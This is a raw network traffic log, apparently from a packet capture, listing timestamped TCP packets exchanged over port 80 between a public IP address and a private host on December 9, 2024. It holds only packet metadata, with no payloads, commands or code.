Dec 9, 2024 18:20:51.205564976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.205620050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.205689907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.205741882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.206682920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.206736088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.206798077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.206845999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.207721949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.207776070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.207802057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.207848072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.208897114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.208949089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.209012985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.209058046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.209775925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.209829092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.209896088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.209947109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.210835934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.210887909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.210946083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.210990906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.211837053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.211885929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.211968899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.212021112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.212912083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.212960958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.213413000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.213464022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.214200974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.214251995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.214354992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.214404106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.215337038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.215387106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.215486050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.215533972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.216593981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.216643095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.216743946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.216793060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.217556000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.217572927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.217606068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.217618942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.218373060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.218424082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.218583107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.218627930 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.219341993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.219436884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.219743013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.219789028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.220426083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.220474958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.220577955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.220623970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.221674919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.221728086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.221764088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.221815109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.222578049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.222625971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.223012924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.223062992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.223680973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.223728895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.223798037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.223849058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.224586964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.224641085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.224687099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.224734068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.225600004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.225660086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.225719929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.225769043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.226645947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.226695061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.226772070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.226819038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.227696896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.227746010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.227822065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.227869034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.229001045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.229059935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.229190111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.229238987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.230282068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.230334044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.230380058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.230424881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.231086969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.231137991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.231239080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.231287956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.232372999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.232422113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.232568979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.232618093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.233017921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.233068943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.233108997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.233160019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.233961105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.234014034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.234082937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.234132051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.235011101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.235059977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.235155106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.235203028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.236135006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.236186981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.236196041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.236233950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.237267971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.237329960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.237370968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.237421989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.238157034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.238209963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.238291025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.238339901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.239157915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.239212990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.239362955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.239413977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.240186930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.240236998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.376348019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.376418114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.376425028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.376466990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.376746893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.376830101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.376904011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.377640009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.377700090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.377752066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.377803087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.378479958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.378554106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.378554106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.378592968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.379575014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.379626989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.379651070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.379698038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.380480051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.380526066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.380634069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.380685091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.381560087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.381603956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.381644011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.381692886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.384187937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.384241104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.384310961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.384324074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.384352922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.384377956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.384725094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.384778976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.384989977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.385011911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.385040045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.385052919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.386248112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.386296988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.386367083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.386418104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.387392998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.387440920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.387547970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.387597084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.388463020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.388510942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.388566971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.388616085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.389635086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.389688969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.389733076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.389820099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.390650988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.390701056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.390757084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.390804052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.391657114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.391705990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.391783953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.391832113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.392596006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.392648935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.392724037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.392770052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.393529892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.393579960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.393723965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.393788099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.394575119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.394623995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.394658089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.394702911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.395358086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.395407915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.395570993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.395617962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.396513939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.396568060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.396569014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.396610022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.397355080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.397417068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.397552013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.397619963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.398355961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.398406982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.398484945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.398535013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.399390936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.399446964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.399511099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.399561882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.400492907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.400543928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.400608063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.400656939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.401484966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.401535988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.401599884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.401648045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.402786016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.402833939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.402918100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.402966976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.403819084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.403867960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.403929949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.403979063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.404901028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.404951096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.405009985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.405057907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.405883074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.405940056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.406049013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.406099081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.406770945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.406852007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.406889915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.406949997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.408308983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.408369064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.408545971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.408622980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.409208059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.409262896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.409373045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.409421921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.409956932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.410007954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.410048008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.410116911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.410948038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.410999060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.411056042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.411102057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.412054062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.412102938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.412477970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.412528992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.413065910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.413115025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.413171053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.413222075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.414082050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.414127111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.414206028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.414253950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.415184975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.415235996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.415299892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.415347099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.416367054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.416412115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.416466951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.416515112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.417279959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.417330980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.417396069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.417442083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.418303967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.418354988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.418395042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.418442965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.419389009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.419441938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.419502974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.419549942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.420434952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.420485020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.420629025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.420677900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.421592951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.421642065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.421710968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.421757936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.422519922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.422559977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.422626019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.422672987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.423645020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.423691034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.423732996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.423799038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.424601078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.424647093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.424720049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.424767971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.425756931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.425807953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.425880909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.425929070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.426769972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.426817894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.426882029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.426928043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.427799940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.427848101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.428006887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.428055048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:51.429058075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.429069996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:51.429106951 CET	49828	80	192.168.2.6	185.215.113.16
